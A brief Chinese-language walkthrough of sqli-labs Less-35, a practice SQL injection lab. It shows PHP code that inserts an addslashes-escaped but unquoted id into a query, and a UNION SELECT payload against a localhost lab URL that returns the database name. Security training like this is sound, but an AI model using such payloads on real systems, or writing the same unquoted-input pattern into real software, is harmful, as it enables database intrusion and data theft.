35关和33关是大致的一样的,唯一的区别在于sql语句的不同。

function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

区别就是id没有被' "符号包括起来,那我们就没有必要去考虑check_addslashes()函数的意义了,直接提交payload:

http://127.0.0.1/sql/Less-35/?id=-1 union select 1,database(),3--+

Sqli-labs Less-35 addslashes()函数失效了

相关文章: